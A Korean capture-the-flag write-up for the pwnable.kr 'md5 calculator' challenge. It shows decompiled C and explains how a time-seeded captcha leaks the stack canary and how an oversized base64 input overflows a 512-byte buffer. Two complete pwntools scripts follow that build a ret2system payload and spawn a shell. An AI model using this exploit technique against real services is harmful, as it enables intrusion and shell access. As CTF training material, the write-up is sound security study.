[pwnable.kr]md5 calculator

seed로 현재시간 줘서 my_hash 함수에서 captcha를 생성해준다. 그리고 captcha 검사하고 process_hash 함수에서 입력한 값을 base64 decode 해주고 md5 hashing 해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [esp+18h] [ebp-8h]
  int v6; // [esp+1Ch] [ebp-4h]

  setvbuf(stdout, 0, 1, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("- Welcome to the free MD5 calculating service -");
  v3 = time(0);
  srand(v3);
  v6 = my_hash();
  printf("Are you human? input captcha : %d\n", v6);
  __isoc99_scanf("%d", &v5);
  if ( v6 != v5 )
  {
    puts("wrong captcha!");
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}

my_hash 에서 자세히 봐야할건 captcha 값을 만드늗네 canary값도 포함되 있다. 근데 srand에 들어가는 seed를 아니까 Canary를 구할 수 있다.

int my_hash()
{
  signed int i; // [esp+0h] [ebp-38h]
  char v2[4]; // [esp+Ch] [ebp-2Ch]
  int v3; // [esp+10h] [ebp-28h]
  int v4; // [esp+14h] [ebp-24h]
  int v5; // [esp+18h] [ebp-20h]
  int v6; // [esp+1Ch] [ebp-1Ch]
  int v7; // [esp+20h] [ebp-18h]
  int v8; // [esp+24h] [ebp-14h]
  int v9; // [esp+28h] [ebp-10h]
  unsigned int canary; // [esp+2Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  for ( i = 0; i <= 7; ++i )
    *&v2[4 * i] = rand();
  return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}

process_hash 함수에서는 1024만큼 입력받는데 버퍼가 512바이트라 eip를 변조할 수 있다.

unsigned int process_hash()
{
  int length; // ST14_4
  char *ptr; // ST18_4
  char v3; // [esp+1Ch] [ebp-20Ch]
  unsigned int v4; // [esp+21Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 )
    ;
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 512u);
  length = Base64Decode(g_buf, &v3);
  ptr = calc_md5(&v3, length);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return __readgsdword(0x14u) ^ v4;
}

my_hash 함수를 통해서 Canary 값을 얻을 수 있고 process_hash 함수에서 eip변조할 수 있다. 근데 system@plt도 존재하니까 쉽게 익스할 수 있다.

exploit.py

from pwn import *
from ctypes import *

context.arch = 'i386'
#context.log_level = 'debug'
e = ELF('./hash')
p = process('./hash')
#p = remote('pwnable.kr',9002)
lib = CDLL('libc.so.6')
libc = e.libc
pebx = 0x0804880c # pop ebx ; ret
g_buf = 0x0804B0E0 + 0x2d0

p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
log.info('captcha : ' + str(captcha))
lib.srand(lib.time(0))
hashs = [lib.rand() for i in range(8)]
s = hashs[4] - hashs[6] + hashs[7] + hashs[2] - hashs[3] + hashs[1] + hashs[5]
log.info('sum : ' + str(s))
canary = captcha - s
if canary < 0:
	canary = canary & 0xFFFFFFFF
log.info('Canary : ' + hex(canary))
p.sendline(str(captcha))

payload = 'A'*512
payload += p32(canary)
payload += 'A'*12
payload += p32(e.plt['system'])
payload += p32(pebx)
payload += p32(g_buf)

p.sendlineafter('me!\n',payload.encode('base64').replace('\n','') + '/bin/sh\x00')
p.interactive()

아무 문제 ssh 들어가서 pwnable.kr 서버의 로컬에서 땄다.

exploit.py

from pwn import *
from ctypes import *

#context.arch = 'i386'
#context.log_level = 'debug'
p = remote('127.0.0.1',9002)
lib = CDLL('libc.so.6')
pebx = 0x0804880c # pop ebx ; ret
g_buf = 0x0804B0E0 + 0x2d0

p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
log.info('captcha : ' + str(captcha))
lib.srand(lib.time(0))
hashs = [lib.rand() for i in range(8)]
s = hashs[4] - hashs[6] + hashs[7] + hashs[2] - hashs[3] + hashs[1] + hashs[5]
log.info('sum : ' + str(s))
canary = captcha - s
if canary < 0:
	canary = canary & 0xFFFFFFFF
log.info('Canary : ' + hex(canary))
p.sendline(str(captcha))

payload = 'A'*512
payload += p32(canary)
payload += 'A'*12
payload += p32(0x08048880)
payload += p32(pebx)
payload += p32(g_buf)

p.sendlineafter('me!\n',payload.encode('base64').replace('\n','') + '/bin/sh\x00')
p.interactive()